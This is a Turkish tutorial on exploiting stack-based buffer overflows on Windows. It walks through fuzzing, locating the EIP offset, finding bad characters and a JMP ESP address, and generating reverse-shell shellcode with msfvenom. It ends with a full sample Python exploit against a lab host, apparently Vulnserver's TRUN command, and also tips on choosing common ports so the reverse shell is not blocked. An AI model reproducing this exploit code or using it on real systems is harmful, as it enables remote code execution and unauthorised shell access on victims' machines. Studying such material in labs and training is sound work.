BOF - Stack Based

Buffer Overflow

Stack Based Buffet Overflow

Fuzzing

Uygulamada bulunan girdi noktalarına fuzzing uygulanır. Bu işlem için aşağıdaki python kodu ile bir soket başlatılıp TCP üzerinden data gönderilebilir.

#/usr/bin/python2
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP', PORT))

    s.send(("PRE-COMMAND" + buffer))
    s.close()
    sleep(1)
    buffer = buffer + "A" * 100
    print "Send %s" % str(len(buffer))

Fuzzing işlemi sırasında program crashlenir ise "access violation" hatası alınırsa büyük ihtimal ile bof zafiyeti vardır. Immunity Debugger'dan EIP, EAX gibi registerların değerine bakılabilir.

Crash kaç byte gönderildikten sonra alınmış ise o boyutta pattern oluşturulup gönderilir. Bunu yapmaktaki amaç kaç byte'dan sonra EIP ve ESP registerlarına yazıyor bilgisine ulaşmak.

Offset Bulma

Bu işlem için pattern üretilmelidir. Bunu birçok farklı şekilde yapmak mümkündür. Immunity Debugger'da kullanılan mona veya kalide bulunan pattern_create veya pattern_offset gibi araçlar kullanılabilir.

Mona modülünü kullanırken logların kaydedileceği dizini ayarlamak için aşağıda yer alan komut kullanılabilir.

!mona config -set workingfolder c:\logs\%p
  1. mona ile; !mona pc <pattern_size>

  2. msf'de bulunan ruby aracı ile; /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size>

  3. /bin/msf-* araçları ile; msf-pattern_create -l <pattern_size>

  4. Benzer amaçla yazılmış bir çok tool bulmak mümkündür. (Kali de /bin/msf-* araçları da ayrıca vardır.)

EIP registarına yazılan değerin offset değerini bulmak için; 1. mona ile; !mona po <pattern_value>

  1. msf'de bulunan ruby aracı ile; /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size> -q <pattern_value>

  2. /bin/msf-* araçları ile; msf-patter_offset -q <pattern_value>

Badchar bulma;

EIP registerına ait offset değeri bulunduktan sonra badcharların bulunması gerekli. Badcharlar registerlarda bulunan veriler işlenirken özel olarak yorumlanan karakterlerdir. Bu durum bizim kullanacağımız zararlı shellcode'u etkileyeceği için bu tür karakterleri içermeyecek şekilde shellkodumuzu üretmeliyiz.

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Bu aşamada gönderilecek verimiz "A" * <offset_value> + "B" * 4 + badchars şeklinde olacaktır. badchar değişkeninin tuple olması önemlidir!

Stack alanını doldurduğumuzda yani EAX, EBX, EIP registarlarına yazdıktan sonra badcharların yazılacağı register ESP registerı olacaktır.

Not ; ESP Shellkodumuzu bu registara yazacağız. O yüzden bu registara yazılacak shellcodun içinde badchar olması durumunda shellcodumuz çalışmayacaktır. Bu sebepten badchar tespiti önemlidir.

Uygun modulün bulunması

Shellcodumuz stack de bulunan ESP belirtiği alana yazılır. Bu sebeple bizim bu registara atlayan (JMP) komutun bellek adresine ihtiyacımız olacak. Yukarıda belirtildiği üzere EIP registerına yazabilmekteyiz. Biz de EIP registarına, ESP registarına zıplayan kodun bellek adresini yazacağız. Böylece kod ÈIP registarına geldiğinde burda ESP giden bellek adresini görecektir. ESP ye shellcodumuzu yazarak programın akışını değiştirip istediğimiz kodu çalıştırmış olacağız. Bu sebeple ESP registarına giden bir komutun bellek adresine ihtiyaç duymaktayız. Bunu bulmanın birçok farklı yolları vardır.

Öncellikler !mona modules diyerek uygulamamızın kullandığı modüllere bakacağız. Bu modüllerde herhangi bir memory proctection var mı? varsa hangileri gibi bilgiler bizim için önemli. Çıkan menüde memory protection olmayan modüller birincil odak noktamız olmalı.

Daha memory procteion olmayan modüllerin herhangi birinde JMP ESP kodunu arayacağız. Bunu yapmaktaki amacımız; bu komutun olduğu bellek adresini bulup EIP registerına yazmak. EIP bu bellek adresindeki komutu gösterdiğinde burdaki komut ile ESP sıçrayacaktır ve ordan da shellcodumuz çalışmış olacak.

JMP ESP komutunun opcodu FFE4 dür.

  1. mona ile; !mona find -s “\xff\xe4” -m <module_name>

  2. ımmunity debugger ile; View > Executables modules > "module_name" X2 click > CTRL + F > search "JMP ESP" > note memmory adres!

Bulunan değer EIP registarına yazılacak şekilde koda eklenmelidir. Kodun bu aşamadki hali; "A" * <byte_size> + "<adress of JMP ESP>" + "\x90" * 8 olmalıdır.

Not : JMP ESP nin bellek adresi yazılırken little endian olduğu için tersten yazılmalıdır. Yani "A5F256CC" adresi "CC56F2A5" şeklinde yazılmalıdır.

Shellcode üretme

Bu aşamada shellcodu üretip göndereceğimiz payloada ekleyeceğiz. Bunun için msfvenom aracını kullanacağız.

# msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f python -v shellcode

bu komutun sonucunda çıkan çıktıyı kodumuza aşağıdaki şekilde ekleyeceğiz.

buffer = "A" * <byte_size> + "<address of JMP ESP>" + "\x90" * 8 + shellcode

Payloadın nihai şekli yukarıdaki şekildedir.

Get Reverse Shell

Artık tüm işlemler tamam olduğuna göre nc ile ilgili portu dinlemeye alıp exploit kodumuzu çalıştırmamız gerekecek.

nc -vlp <port_number>

Dipnotlar;

  • badchars değişkeni tuple olmalıdır!

  • "\x90" no operation komutudur. Kullanacağımız payloadın patlamaması için kesinlikle eklenmesi tavsiye edilir.

  • shellcode üretilirken özellikle windows tarafından engellenmeyecek portlar kullanılması tavsiye edilir. 53, 80, 443 gibi sık kullanılan portlar kullanılmalıdır.

Bonus - Sample;

#/usr/bin/python2
import sys, socket
from time import sleep

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode =  ""
shellcode += "\xdb\xc2\xbe\x8a\x7f\xb7\x29\xd9\x74\x24\xf4\x5f"
shellcode += "\x2b\xc9\xb1\x52\x31\x77\x17\x03\x77\x17\x83\x4d"
....
shellcode += "\x47\x3e\x84\xc2\x42\x7a\x02\x3f\x3f\x13\xe7\x3f"
shellcode += "\xec\x14\x22"

buffer = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 8 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.23', 9999))

s.send(("TRUN /.:/" + buffer))
s.close()
sleep(1)
#buffer = buffer + "A" * 100
print "Send %s" % str(len(buffer))

Last updated